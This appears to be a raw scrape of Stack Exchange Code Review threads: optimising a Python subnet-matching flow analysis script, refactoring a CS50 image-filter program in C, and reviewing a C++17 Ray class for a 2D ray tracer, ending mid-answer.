AnalysedDictionnary[subnet] = matchedSubnet
#we ordered the subnets by mask size, meaning that we can't find a more precise mask that would match our network, so we can break
break
return matchedSubnet
def __init__(self, flow: Flow, refNetworks : InventoryNetworks):
self.srcIp = flow.srcIp
self.dstIp = flow.dstIp
self.port = flow.port
self.nbHits = flow.nbHits
self.refNetworks = refNetworks
self.srcSubnet = self.findSubnet(self.srcIp)
self.dstSubnet = self.findSubnet(self.dstIp)
#list of interresting ports
adPort = ['10','12','14','443']
#Create our Inventory of Networks from reference file
script_dir = os.path.dirname(os.path.abspath(__file__))
rel_path = "InventorySheet.csv"
abs_file_path = os.path.join(script_dir, rel_path)
ReferenceNetworks = InventoryNetworks(abs_file_path)
#Create our flows
rel_path = "Logs_Equipment.txt"
abs_file_path = os.path.join(script_dir, rel_path)
CapturedFlows = FlowCapture(abs_file_path)
#Create our analyzed flows
AnalysedFlows = []
print('its going on')
start_time = timeit.default_timer()
# code you want to evaluate
#[:100] limit to 100 objects in our array so testing time is shorter
bar = Bar('Processing', max=len(CapturedFlows.myFlows[:100]))
for flow in CapturedFlows.myFlows[:100]:
AnalysedFlows.append(AnalyzedFlow(flow,ReferenceNetworks))
bar.next()
bar.finish()
elapsed = timeit.default_timer() - start_time
print('we analysed in :', elapsed)
#Filter our analyzed flow
intraVrfFlows = [flow for flow in AnalysedFlows if flow.srcSubnet.vrfId == flow.dstSubnet.vrfId]
adFlows = [flow for flow in AnalysedFlows if flow.port in adPort]
# Create a workbook and add a worksheet.
workbook = xlsxwriter.Workbook('flowAnalysis.xlsx')
worksheetIntraVrfFlows = workbook.add_worksheet('IntraVrfFlows')
worksheetAdFlows = workbook.add_worksheet('AdFlows')
# Start from the first cell. Rows and columns are zero indexed.
def writeSheetIndex(excelSheet):
excelSheet.write(0,0, 'Source IP')
excelSheet.write(0,1, 'Source Subnet')
excelSheet.write(0,2, 'Source VRF')
excelSheet.write(0,3, 'Source Site')
excelSheet.write(0,4, 'Port')
excelSheet.write(0,5, 'Destination IP')
excelSheet.write(0,6, 'Destination Subnet')
excelSheet.write(0,7, 'Destination VRF')
excelSheet.write(0,8, 'Destination Site')
def populateSheetFlow(excelSheet, analyzedFlows):
nrow = 1
for flow in analyzedFlows:
excelSheet.write(nrow,0, str(flow.srcIp))
excelSheet.write(nrow,1, flow.srcSubnet.MyIPv4Network.with_prefixlen)
excelSheet.write(nrow,2, flow.srcSubnet.vrfName)
excelSheet.write(nrow,3, flow.srcSubnet.siteName)
excelSheet.write(nrow,4, flow.port)
excelSheet.write(nrow,5, str(flow.dstIp))
excelSheet.write(nrow,6, flow.dstSubnet.MyIPv4Network.with_prefixlen)
excelSheet.write(nrow,7, flow.dstSubnet.vrfName)
excelSheet.write(nrow,8, flow.dstSubnet.siteName)
if flow.srcSubnet.siteName :
nrow = nrow + 1
if True :
writeSheetIndex(worksheetIntraVrfFlows)
populateSheetFlow(worksheetIntraVrfFlows, intraVrfFlows)
writeSheetIndex(worksheetAdFlows)
populateSheetFlow(worksheetAdFlows, adFlows)
workbook.close()
</code></pre>
<p>The first 2 great improvement I've found are:</p>
<ul>
<li>Order my networks by mask size so that I can stop searching as soon as I have a match</li>
<li>Create a dictionary where I save all my IP//Network match so that I don't have to iterate on my entire network inventory if I've already done the job once for this IP</li>
</ul>
<p>Are there any other places where I could improve my script's performance?
So far my metrics are about 6 for 100 rows, 30s for 1k rows, 120s for 10k rows (the more rows at once, the more my dictionary is useful).</p>
<p>That's not too terrible, but I dread how long it will take me to analyze 100 millions of rows, so I'd rather find all optimisations I can beforehand.</p>
|
[] |
[
{
"body": "<p>I think the next thing to investigate is this section, inside your AnalyzedFlow class findSubnet method:</p>\n<pre><code>for flow in self.refNetworks.MyEntityNetwork:\n if flow.MyIPv4Network.overlaps(IPv4Network(IPv4Address(subnet))):\n if flow.MyIPv4Network.prefixlen > maxMask:\n</code></pre>\n<p>First, you're constructing the IPv4Network(IPv4Address(subnet)) once per loop iteration. Instead, do something like</p>\n<pre><code>subnetNetwork = IPv4Network(IPv4Address(subnet))\nfor flow in self.refNetworks.MyEntityNetwork:\n if flow.MyIPv4Network.overlaps(subnetNetwork):\n if flow.MyIPv4Network.prefixlen > maxMask:\n</code></pre>\n<p>The second bit is more complex. Your flows are in order, but if you structured them differently it might - depending upon your subnets - speed things up.</p>\n<p>For example, let's say your 10,000 networks have a few hundred networks all matching the pattern 10.x.y.z/some-mask, a few hundred networks all matching the pattern 11.x.y.z/some-mask, a few hundred networks all matching the pattern 183.x.y.z/some-mask, and so forth. If your input subnet is 183.22.15.4 ideally you don't want to check any of the 10... or 11... networks, just the 'bucket' of networks that start with 183.</p>\n<p>It might take a while to structure it, and I can try to help if you need it, but I would build a dict of subnets based on the first octet in the network addresses, so your InventoryNetworks instead of having a list would have a dict.</p>\n<pre><code>class InventoryNetworks:\n # "Reference all current Known Networks"\n def __init__(self, filePath=''):\n self.filePath = filePath\n self.MyEntityNetwork = dict()\n # "Read File, parse file and populate a dict of IPV4Networks"\n with open(filePath) as csvfile:\n reader = csv.DictReader(csvfile, delimiter=',')\n for line in reader:\n entityNetwork = EntityNetwork(line['Site ID'], line['Site'], line['VRF (VRF ID)'], line['VRF Description'], IPv4Network(line['Subnet']))\n exploded = entityNetwork.MyIPv4Network.network_address.exploded\n firstOctet = exploded[0:exploded.index(".")]\n prev = MyEntityNetwork[firstOctet]\n if prev is None:\n MyEntityNetwork[firstOctet] = [ entityNetwork ]\n else:\n prev.append(entityNetwork)\n MyEntityNetwork[firstOctet] = prev\n for octet in MyEntityNetwork.keys():\n items = MyEntityNetwork[octet]\n items.sort(key=operator.attrgetter('MyIPv4Network'), reverse=True)\n MyEntityNetwork[octet] = items\n \n</code></pre>\n<p>Then further down you can do something similar to only search subnets that match on the first octet, and that should improve the matching speed. I haven't included that code, I'm hopeful you can figure it out if you need it.</p>\n<p>You could even nest this further, and have additional levels in your dict, like</p>\n<pre><code>MyEntityNetwork['183']['22']['15'] = [ list of items that match ]\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T22:30:07.643",
"Id": "249462",
"ParentId": "249454",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T19:43:55.867",
"Id": "249454",
"Score": "1",
"Tags": [
"python",
"performance",
"python-3.x",
"ip-address"
],
"Title": "Network flow analysis"
}
|
249454
|
<p>I've been taking cs50 for about under a month now and I've finally finished with "filter" in pset4. The code passes all the green checks on check50. Our task was to implement functions in <code>helpers.c</code> so that a user can apply grayscale, reflection, blur, or edge detection filters to their images. We were asked not to modify any of the function signatures or any files other than <code>helpers.c</code>.</p>
<p>My question is, how I could refactor the code in the edge detection block so that it is shorter with less repeated code? If there is a solution involving pointers, I'd much prefer that if possible! Any tips on other blocks are welcome as well. Thank you!</p>
<p>Here are links to the outline of cs50/pset4/filter and information on the sobel operator: <br />
<a href="https://cs50.harvard.edu/x/2020/psets/4/filter/more/" rel="nofollow noreferrer">cs50/pset4/filter</a> <br />
<a href="https://en.wikipedia.org/wiki/Sobel_operator" rel="nofollow noreferrer">Sobel</a></p>
<p>Files provided that we were asked not to modify:<br />
<em>bmp.h</em></p>
<blockquote>
<pre><code>// BMP-related data types based on Microsoft's own
#include <stdint.h>
/**
* Common Data Types
*
* The data types in this section are essentially aliases for C/C++
* primitive data types.
*
* Adapted from http://msdn.microsoft.com/en-us/library/cc230309.aspx.
* See http://en.wikipedia.org/wiki/Stdint.h for more on stdint.h.
*/
typedef uint8_t BYTE;
typedef uint32_t DWORD;
typedef int32_t LONG;
typedef uint16_t WORD;
/**
* BITMAPFILEHEADER
*
* The BITMAPFILEHEADER structure contains information about the type, size,
* and layout of a file that contains a DIB [device-independent bitmap].
*
* Adapted from http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx.
*/
typedef struct
{
WORD bfType;
DWORD bfSize;
WORD bfReserved1;
WORD bfReserved2;
DWORD bfOffBits;
} __attribute__((__packed__))
BITMAPFILEHEADER;
/**
* BITMAPINFOHEADER
*
* The BITMAPINFOHEADER structure contains information about the
* dimensions and color format of a DIB [device-independent bitmap].
*
* Adapted from http://msdn.microsoft.com/en-us/library/dd183376(VS.85).aspx.
*/
typedef struct
{
DWORD biSize;
LONG biWidth;
LONG biHeight;
WORD biPlanes;
WORD biBitCount;
DWORD biCompression;
DWORD biSizeImage;
LONG biXPelsPerMeter;
LONG biYPelsPerMeter;
DWORD biClrUsed;
DWORD biClrImportant;
} __attribute__((__packed__))
BITMAPINFOHEADER;
/**
* RGBTRIPLE
*
* This structure describes a color consisting of relative intensities of
* red, green, and blue.
*
* Adapted from http://msdn.microsoft.com/en-us/library/aa922590.aspx.
*/
typedef struct
{
BYTE rgbtBlue;
BYTE rgbtGreen;
BYTE rgbtRed;
} __attribute__((__packed__))
RGBTRIPLE;
</code></pre>
</blockquote>
<p><em>filter.c</em></p>
<blockquote>
<pre><code>#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include "helpers.h"
int main(int argc, char *argv[])
{
// Define allowable filters
char *filters = "begr";
// Get filter flag and check validity
char filter = getopt(argc, argv, filters);
if (filter == '?')
{
fprintf(stderr, "Invalid filter.\n");
return 1;
}
// Ensure only one filter
if (getopt(argc, argv, filters) != -1)
{
fprintf(stderr, "Only one filter allowed.\n");
return 2;
}
// Ensure proper usage
if (argc != optind + 2)
{
fprintf(stderr, "Usage: filter [flag] infile outfile\n");
return 3;
}
// Remember filenames
char *infile = argv[optind];
char *outfile = argv[optind + 1];
// Open input file
FILE *inptr = fopen(infile, "r");
if (inptr == NULL)
{
fprintf(stderr, "Could not open %s.\n", infile);
return 4;
}
// Open output file
FILE *outptr = fopen(outfile, "w");
if (outptr == NULL)
{
fclose(inptr);
fprintf(stderr, "Could not create %s.\n", outfile);
return 5;
}
// Read infile's BITMAPFILEHEADER
BITMAPFILEHEADER bf;
fread(&bf, sizeof(BITMAPFILEHEADER), 1, inptr);
// Read infile's BITMAPINFOHEADER
BITMAPINFOHEADER bi;
fread(&bi, sizeof(BITMAPINFOHEADER), 1, inptr);
// Ensure infile is (likely) a 24-bit uncompressed BMP 4.0
if (bf.bfType != 0x4d42 || bf.bfOffBits != 54 || bi.biSize != 40 ||
bi.biBitCount != 24 || bi.biCompression != 0)
{
fclose(outptr);
fclose(inptr);
fprintf(stderr, "Unsupported file format.\n");
return 6;
}
int height = abs(bi.biHeight);
int width = bi.biWidth;
// Allocate memory for image
RGBTRIPLE(*image)[width] = calloc(height, width * sizeof(RGBTRIPLE));
if (image == NULL)
{
fprintf(stderr, "Not enough memory to store image.\n");
fclose(outptr);
fclose(inptr);
return 7;
}
// Determine padding for scanlines
int padding = (4 - (width * sizeof(RGBTRIPLE)) % 4) % 4;
// Iterate over infile's scanlines
for (int i = 0; i < height; i++)
{
// Read row into pixel array
fread(image[i], sizeof(RGBTRIPLE), width, inptr);
// Skip over padding
fseek(inptr, padding, SEEK_CUR);
}
// Filter image
switch (filter)
{
// Blur
case 'b':
blur(height, width, image);
break;
// Edges
case 'e':
edges(height, width, image);
break;
// Grayscale
case 'g':
grayscale(height, width, image);
break;
// Reflect
case 'r':
reflect(height, width, image);
break;
}
// Write outfile's BITMAPFILEHEADER
fwrite(&bf, sizeof(BITMAPFILEHEADER), 1, outptr);
// Write outfile's BITMAPINFOHEADER
fwrite(&bi, sizeof(BITMAPINFOHEADER), 1, outptr);
// Write new pixels to outfile
for (int i = 0; i < height; i++)
{
// Write row to outfile
fwrite(image[i], sizeof(RGBTRIPLE), width, outptr);
// Write padding at end of row
for (int k = 0; k < padding; k++)
{
fputc(0x00, outptr);
}
}
// Free memory for image
free(image);
// Close infile
fclose(inptr);
// Close outfile
fclose(outptr);
return 0;
}
</code></pre>
</blockquote>
<p><strong>My</strong> <em>helpers.c</em></p>
<pre><code>#include "helpers.h"
#include <stdio.h>
#include <ctype.h>
#include <math.h>
#include <string.h>
// Prototypes
void swap(RGBTRIPLE *a, RGBTRIPLE *b);
// Convert image to grayscale
void grayscale(int height, int width, RGBTRIPLE image[height][width])
{
// Iterate through the height or also known as each row
for (int i = 0; i < height; i++)
{
// Iterate through the width or also known as each pixel/column
for (int j = 0; j < width; j++)
{
// Calculate the average of the R, G, and B values and round to nearest integer
int average = round(((double) image[i][j].rgbtBlue + (double) image[i][j].rgbtGreen + (double) image[i][j].rgbtRed) / 3);
// Set the values of R, G, and B to the average, making them the same, to produce the correct shade of gray
image[i][j].rgbtBlue = average;
image[i][j].rgbtGreen = average;
image[i][j].rgbtRed = average;
}
}
return;
}
// Reflect image horizontally
void reflect(int height, int width, RGBTRIPLE image[height][width])
{
// Iterate through the height or also known as each row
for (int i = 0; i < height; i++)
{
// Iterate through the width or also known as each pixel/column
for (int j = 0; j < width; j++)
{
// Perform swap up until the middle
if (j < width / 2)
{
swap(&image[i][j], &image[i][width - (j + 1)]);
}
}
}
return;
}
// Function to swap two elements
void swap(RGBTRIPLE *a, RGBTRIPLE *b)
{
RGBTRIPLE temp;
temp = *a;
*a = *b;
*b = temp;
}
// Blur image
void blur(int height, int width, RGBTRIPLE image[height][width])
{
// Initialize copy of image
RGBTRIPLE temp[height][width];
// Make a copy of image to preserve original values
for (int i = 0; i < height; i++)
{
for (int j = 0; j < width; j++)
{
temp[i][j] = image[i][j];
}
}
// Iterate through the height or also known as each row
for (int i = 0; i < height; i++)
{
// Iterate through the width or also known as each pixel/column
for (int j = 0; j < width; j++)
{
// Variable that counts how many numbers added to arrive at the sum
int count = 0;
// Sum variables for each colour
double sum_blue = 0;
double sum_green = 0;
double sum_red = 0;
// Loop to check the surrounding pixels within 1 column and 1 row
for (int k = i - 1; k <= i + 1; k++)
{
for (int l = j - 1; l <= j + 1; l++)
{
// Only adds pixels that are within the image boundaries
if (k >= 0 && l >= 0 && k < height && l < width)
{
sum_blue += temp[k][l].rgbtBlue;
sum_green += temp[k][l].rgbtGreen;
sum_red += temp[k][l].rgbtRed;
count++;
}
}
}
// Use the averages from the surrounding pixels and set the new colour values for the iterated pixel
image[i][j].rgbtBlue = round(sum_blue / count);
image[i][j].rgbtGreen = round(sum_green / count);
image[i][j].rgbtRed = round(sum_red / count);
}
}
return;
}
// Detect edges
void edges(int height, int width, RGBTRIPLE image[height][width])
{
RGBTRIPLE temp[height][width];
// Make copy of image
for (int i = 0; i < height; i++)
{
for (int j = 0; j < width; j++)
{
temp[i][j] = image[i][j];
}
}
// Sobel Operator matrices for Gx and Gy
int kernel_Gx[3][3] = {{-1, 0, 1}, {-2, 0, 2}, {-1, 0, 1}};
int kernel_Gy[3][3] = {{-1, -2, -1}, {0, 0, 0}, {1, 2, 1}};
// Iterate through the height or also known as each row
for (int i = 0; i < height; i++)
{
// Iterate through the width or also known as each pixel/column
for (int j = 0; j < width; j++)
{
// Initialize values for weighted sums in the x direction
double gx_blue = 0;
double gx_green = 0;
double gx_red = 0;
// Initialize values for weighted sums in the y direction
double gy_blue = 0;
double gy_green = 0;
double gy_red = 0;
// Counter to detect what row of the 3x3 the loop is iterating
int row = 0;
// Loop to check the surrounding pixels within 1 row
for (int k = i - 1; k <= i + 1; k++)
{
// Counter to detect what column of the 3x3 grid the loop is iterating
int column = 0;
// Loop to check the surrounding pixels within 1 column
for (int l = j - 1; l <= j + 1; l++)
{
// Only adds pixels that are within the image boundaries
if (k >= 0 && l >= 0 && k < height && l < width)
{
// Calculate Gx
gx_blue += (kernel_Gx[row][column] * temp[k][l].rgbtBlue);
gx_green += (kernel_Gx[row][column] * temp[k][l].rgbtGreen);
gx_red += (kernel_Gx[row][column] * temp[k][l].rgbtRed);
// Calculate Gy
gy_blue += (kernel_Gy[row][column] * temp[k][l].rgbtBlue);
gy_green += (kernel_Gy[row][column] * temp[k][l].rgbtGreen);
gy_red += (kernel_Gy[row][column] * temp[k][l].rgbtRed);
}
column++;
}
row++;
}
// Combine Gx and Gy
int sobel_blue = round(sqrt(pow(gx_blue, 2) + pow(gy_blue, 2)));
int sobel_green = round(sqrt(pow(gx_green, 2) + pow(gy_green, 2)));
int sobel_red = round(sqrt(pow(gx_red, 2) + pow(gy_red, 2)));
// Set the new colour values for the iterated pixel and cap at 255 if necessary
image[i][j].rgbtBlue = (sobel_blue > 255) ? 255 : sobel_blue;
image[i][j].rgbtGreen = (sobel_green > 255) ? 255 : sobel_green;
image[i][j].rgbtRed = (sobel_red > 255) ? 255 : sobel_red;
}
}
return;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T23:57:56.950",
"Id": "489067",
"Score": "0",
"body": "khoaHyh, why does code use `LONG` instead of `int32_t`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T06:39:31.530",
"Id": "489085",
"Score": "1",
"body": "@chux-ReinstateMonica: note the `typedef int32_t LONG` in one of the files `we were asked not to modify`.)"
}
] |
[
{
"body": "<ul>\n<li><p>I strongly recommend to declare <code>temp</code> as <code>RGBTRIPLE[hight + 2][width + 2]</code>, and initialize the border pixels to <code>0, 0, 0</code>. This would eliminate the need to test for <em>pixels that are within the image boundaries</em>.</p>\n</li>\n<li><p>Initializing <code>row</code> and <code>column</code> inside the <code>for</code> loop makes it more clear how the are used, and that they go lockstep with <code>k</code> and <code>l</code> respectively. Consider</p>\n<pre><code> for (int k = i - 1, row = 0; k <= i + 1; k++, row++)\n</code></pre>\n<p>and</p>\n<pre><code> for (int l = j - 1, column = 0; l <= j + 1; l++, column++)\n</code></pre>\n</li>\n<li><p>No naked loops please. Every time you feel compelled to add a comment like <code>Make a copy of image</code>, consider factoring the applicable code into a properly named function, e.g. <code>make_copy_of_image(....)</code>.</p>\n<p>Ditto for <code>Calculate_Gx</code> and <code>Calculate_Gy</code>. These blocks only differ in which kernel they use. Pass it as a parameter.</p>\n<p>Note that <code>gx_blue, gx_green, gx_red</code> are crying to be an <code>RGBTRIPLE</code>.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T14:04:49.403",
"Id": "489133",
"Score": "1",
"body": "This was very educational, I appreciate it a lot. Thank you!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T20:48:23.210",
"Id": "249456",
"ParentId": "249455",
"Score": "1"
}
},
{
"body": "<p><strong>Bug: Careful how you open</strong></p>\n<p>A common problem when near windows is opening a binary file in text mode. Avoid end-of-line translations and open in binary.</p>\n<pre><code>// FILE *inptr = fopen(infile, "r");\nFILE *inptr = fopen(infile, "rb");\n</code></pre>\n<p><strong>Check read success</strong></p>\n<p>If the <code>fread()</code> fails, error out. Also recommend to size to the object and not the type. Easier to code right, review and maintain.</p>\n<pre><code>// fread(&bf, sizeof(BITMAPFILEHEADER), 1, inptr);\nif (fread(&bf, sizeof bf, 1, inptr) != 1) {\n Handle_error();\n}\n</code></pre>\n<p><strong>No need for floating point in averaging</strong></p>\n<pre><code> // double sum_blue = 0;\n long long sum_blue = 0;\n for (int k = i - 1; k <= i + 1; k++)\n for (int l = j - 1; l <= j + 1; l++)\n sum_blue += temp[k][l].rgbtBlue;\n ...\n // round by adding half the count\n image[i][j].rgbtBlue = (sum_blue + count/2)/ count; \n // image[i][j].rgbtBlue = round(sum_blue / count);\n</code></pre>\n<p>and</p>\n<pre><code>// int average = round(((double) image[i][j].rgbtBlue + (double) image[i][j].rgbtGreen + (double) image[i][j].rgbtRed) / 3);\nint average = (image[i][j].rgbtBlue + image[i][j].rgbtGreen + \n image[i][j].rgbtRed + 1) / 3;\n</code></pre>\n<p><strong>User loops vs. <code>memcpy()</code></strong></p>\n<p>Library functions tend to be faster than equivalent user code.</p>\n<pre><code>RGBTRIPLE temp[height][width];\n\n// Make a copy of image to preserve original values\n//for (int i = 0; i < height; i++) {\n// for (int j = 0; j < width; j++) {\n// temp[i][j] = image[i][j];\n// }\n//}\nmemcpy(temp, image, sizeof temp);\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T00:09:04.230",
"Id": "249467",
"ParentId": "249455",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T20:24:30.367",
"Id": "249455",
"Score": "1",
"Tags": [
"c",
"image"
],
"Title": "cs50 filter(more comfortable) - Image filters in C"
}
|
249455
|
<p><strong>Problem Statement/Context:</strong></p>
<p>Represent a ray, given a origin and direction. Besides this a <code>min_t</code> and <code>max_t</code> value are defined. These values define a distance along the ray and make it possible to describe an intervall on the ray. The propose of the ray class is to support 2d ray tracing (a 2D ray tracer visualization tool) as seen on the following picture:</p>
<p><a href="https://i.stack.imgur.com/ChwuD.png" rel="noreferrer"><img src="https://i.stack.imgur.com/ChwuD.png" alt="enter image description here" /></a></p>
<p><strong>Implementation:</strong></p>
<p>My proposed C++17 solution:</p>
<pre><code>#pragma once
#ifndef Flatland_Ray_ceb9b0b4_4236_4bfe_b918_11a02c72ad7c_h
#define Flatland_Ray_ceb9b0b4_4236_4bfe_b918_11a02c72ad7c_h
#include "flatland/core/namespace.h"
#include "flatland/math/point.h"
#include "flatland/math/vector.h"
#include <iostream>
#include <type_traits>
FLATLAND_BEGIN_NAMESPACE
template <typename PointType, typename VectorType, typename ScalarType, unsigned int Dimension>
class Ray {
public:
Ray(const PointType &origin, const VectorType &direction, const ScalarType min_t, const ScalarType max_t)
: origin(origin), direction(direction), min_t(min_t), max_t(max_t) {
}
PointType operator()(const float t) const {
assert(isDirectionVectorNormalized());
return origin + t * direction;
}
bool isDirectionVectorNormalized() const {
const ScalarType epsilon = static_cast<ScalarType>(0.001);
return direction.norm() - static_cast<ScalarType>(1.0) < epsilon;
}
public:
PointType origin;
VectorType direction;
ScalarType min_t;
ScalarType max_t;
enum { dimension = Dimension};
};
template <typename ScalarType>
using Ray2 = Ray<Point2<ScalarType>, Vector2<ScalarType>, ScalarType, 2>;
template <typename ScalarType>
using Ray3 = Ray<Point3<ScalarType>, Vector3<ScalarType>, ScalarType, 3>;
using Ray2f = Ray2<float>;
using Ray2d = Ray2<double>;
using Ray3f = Ray3<float>;
using Ray3d = Ray3<double>;
namespace internal {
template <typename ScalarType>
std::string convertTypeToString() {
std::string typeAsString = "UnknownType";
if(std::is_same<ScalarType,int>::value)
typeAsString = "i";
if(std::is_same<ScalarType,float>::value)
typeAsString = "f";
if(std::is_same<ScalarType,double>::value)
typeAsString = "d";
return typeAsString;
}
template <unsigned int Dimension>
std::string dimensionAsString() {
std::string dimensionAsString = "UnknownDimension";
if(Dimension == 2)
dimensionAsString = "2";
if(Dimension == 3)
dimensionAsString = "3";
return dimensionAsString;
}
}
template <typename PointType, typename VectorType, typename ScalarType, unsigned int Dimension>
std::ostream &operator<<(std::ostream &os, const Ray<PointType, VectorType, ScalarType, Dimension> &r) {
auto typeAsString = internal::convertTypeToString<ScalarType>();
auto dimensionAsString = internal::dimensionAsString<Dimension>();
os << "Ray" << dimensionAsString << typeAsString << "[" << std::endl
<< " origin = " << r.origin << "," << std::endl
<< " direction = " << r.direction << "," << std::endl
<< " min_t = " << r.min_t << "," << std::endl
<< " max_t = " << r.max_t << "" << std::endl
<< "]" << std::endl;
return os;
}
FLATLAND_END_NAMESPACE
#endif // end define Flatland_Ray_ceb9b0b4_4236_4bfe_b918_11a02c72ad7c_h
</code></pre>
<p><strong>My Tests:</strong></p>
<pre><code>#include "flatland/math/ray.h"
#include <gmock/gmock.h>
using namespace Flatland;
TEST(Ray2f, GivenDirectionOriginMaxMinT_WhenRayIsInitialized_ThenInitzalizedRayValues) {
Point2f origin(0.0f, 0.0f);
Vector2f direction(1.0f, 0.0f);
Ray2f r(origin, direction, 1.0f, 10.0f);
EXPECT_THAT(r.origin.x(), 0.0f);
EXPECT_THAT(r.origin.y(), 0.0f);
EXPECT_THAT(r.direction.x(), 1.0f);
EXPECT_THAT(r.direction.y(), 0.0f);
EXPECT_THAT(r.min_t, 1.0f);
EXPECT_THAT(r.max_t, 10.0f);
}
TEST(Ray2f, GivenNormalizedRay_WhenCheckingIfRayIsNormalized_ThenNormalizedIsTrue) {
Point2f origin(0.0f, 0.0f);
Vector2f direction(1.0f, 0.0f);
Ray2f r(origin, direction, 1.0f, 10.0f);
EXPECT_TRUE(r.isDirectionVectorNormalized());
}
TEST(Ray2f, GivenNonNormalizedRay_WhenCheckingIfRayIsNormalized_ThenNormalizedIsFalse) {
Point2f origin(0.0f, 0.0f);
Vector2f direction(2.0f, 0.0f);
Ray2f r(origin, direction, 1.0f, 10.0f);
EXPECT_FALSE(r.isDirectionVectorNormalized());
}
TEST(Ray2f, GivenANormalizedRay_WhenDeterminPointAtMinAndMaxT_ThenExpectStartAndEndPoint) {
Point2f origin(0.0f, 0.0f);
Vector2f direction(1.0f, 0.0f);
Ray2f r(origin, direction, 1.0f, 10.0f);
Point2f start = r(r.min_t);
Point2f end = r(r.max_t);
EXPECT_THAT(start.x(), 1.0f);
EXPECT_THAT(start.y(), 0.0f);
EXPECT_THAT(end.x(), 10.0f);
EXPECT_THAT(end.y(), 0.0f);
}
TEST(Ray2f, GivenARay_WhenPrintedToStdOutput_ExpectRayAsStringRepresentation) {
testing::internal::CaptureStdout();
Point2f origin(0.0f, 0.0f);
Vector2f direction(1.0f, 0.0f);
Ray2f r(origin, direction, 1.0f, 10.0f);
std::cout << r;
std::string output = testing::internal::GetCapturedStdout();
EXPECT_THAT(output, ::testing::HasSubstr("Ray2f["));
EXPECT_THAT(output, ::testing::HasSubstr("origin ="));
EXPECT_THAT(output, ::testing::HasSubstr("direction ="));
EXPECT_THAT(output, ::testing::HasSubstr("min_t = 1"));
EXPECT_THAT(output, ::testing::HasSubstr("max_t = 10"));
EXPECT_THAT(output, ::testing::HasSubstr("]"));
}
TEST(Ray2d, GivenARay2d_WhenPrintedToStdOutput_ExpectRayTypeRay2d) {
testing::internal::CaptureStdout();
Point2d origin(0.0, 0.0);
Vector2d direction(1.0, 0.0);
Ray2d r(origin, direction, 1.0, 10.0);
std::cout << r;
std::string output = testing::internal::GetCapturedStdout();
EXPECT_THAT(output, ::testing::HasSubstr("Ray2d["));
EXPECT_THAT(output, ::testing::HasSubstr("origin ="));
EXPECT_THAT(output, ::testing::HasSubstr("direction ="));
EXPECT_THAT(output, ::testing::HasSubstr("min_t = 1"));
EXPECT_THAT(output, ::testing::HasSubstr("max_t = 10"));
EXPECT_THAT(output, ::testing::HasSubstr("]"));
}
TEST(Ray3f, GivenARay3f_WhenPrintedToStdOutput_ExpectRayTypeRay3f) {
testing::internal::CaptureStdout();
Point3f origin(0.0f, 0.0f, 0.0f);
Vector3f direction(1.0f, 0.0f, 0.0f);
Ray3f r(origin, direction, 1.0f, 10.0f);
std::cout << r;
std::string output = testing::internal::GetCapturedStdout();
EXPECT_THAT(output, ::testing::HasSubstr("Ray3f["));
EXPECT_THAT(output, ::testing::HasSubstr("origin ="));
EXPECT_THAT(output, ::testing::HasSubstr("direction ="));
EXPECT_THAT(output, ::testing::HasSubstr("min_t = 1"));
EXPECT_THAT(output, ::testing::HasSubstr("max_t = 10"));
EXPECT_THAT(output, ::testing::HasSubstr("]"));
}
TEST(internal_convertTypToString, GivenIntegralType_WhenConverTypeToString_ThenShortStringRepersentationExpected) {
EXPECT_THAT(internal::convertTypeToString<int>(), ::testing::HasSubstr("i"));
EXPECT_THAT(internal::convertTypeToString<float>(), ::testing::HasSubstr("f"));
EXPECT_THAT(internal::convertTypeToString<double>(), ::testing::HasSubstr("d"));
}
TEST(internal_dimensionAsString, GivenRayDimension_WhenConvertingToStringRepresentation_ThenExpectValidNumber) {
EXPECT_THAT(internal::dimensionAsString<2u>(), ::testing::HasSubstr("2"));
EXPECT_THAT(internal::dimensionAsString<3u>(), ::testing::HasSubstr("3"));
}
</code></pre>
<p><strong>Questions:</strong></p>
<p><em>Implementation</em></p>
<ul>
<li>From a C++17 perspective: Are there more modern features of the language that I should use?</li>
<li>I was thinking about changing <code>Ray</code> in something like <code>template <typename ScalarType, int Dim> class Ray</code> and then use <code>PointType<ScalarType, Dim></code> in the class. But I think that makes it harder if I am going to change PointType in the future (currently Eigen is used under thee hood - maybe I will switch later to something else) - and opinons about this?</li>
</ul>
<p><em>Testing</em></p>
<ul>
<li>Do you think there is to much duplication in the tests?</li>
<li>Are there any important edge cases that I should also consider?</li>
<li>Any other hints? suggestions?</li>
</ul>
<p>Do you have other feedback, improvements for the implementation and testing?v</p>
|
[] |
[
{
"body": "<h1>Keep it simple</h1>\n<p>Use the <a href=\"https://en.wikipedia.org/wiki/KISS_principle\" rel=\"noreferrer\">KISS principle</a>, and don't make things more complicated than necessary. Using more language features should not be a goal in itself. Also, don't add more things in a class than necessary. Why do you keep track of <code>dimension</code>? Nothing inside the class makes use of it. The dimension is a property of <code>PointType</code> and <code>VectorType</code>, so it's already there in some way. Similarly, does it make sense to specify <code>ScalarType</code> differently from the underlying scalar type of <code>PointType</code> and <code>VectorType</code>?</p>\n<p><code>class Ray</code> has nothing which is private. Consider making it a <code>struct</code>. Also, as it is right now you don't even need to explicitly create a constructor for it. Here's the struct with some of the unnecessary baggage removed:</p>\n<pre><code>template <typename PointType, typename VectorType>\nstruct Ray {\n using ScalarType = PointType::value_type;\n\n PointType operator()(const float t) const {\n assert(isDirectionVectorNormalized());\n return origin + t * direction;\n }\n\n bool isDirectionVectorNormalized() const {\n const ScalarType epsilon{0.001};\n return direction.norm() - ScalarType{1.0} < epsilon;\n }\n\n PointType 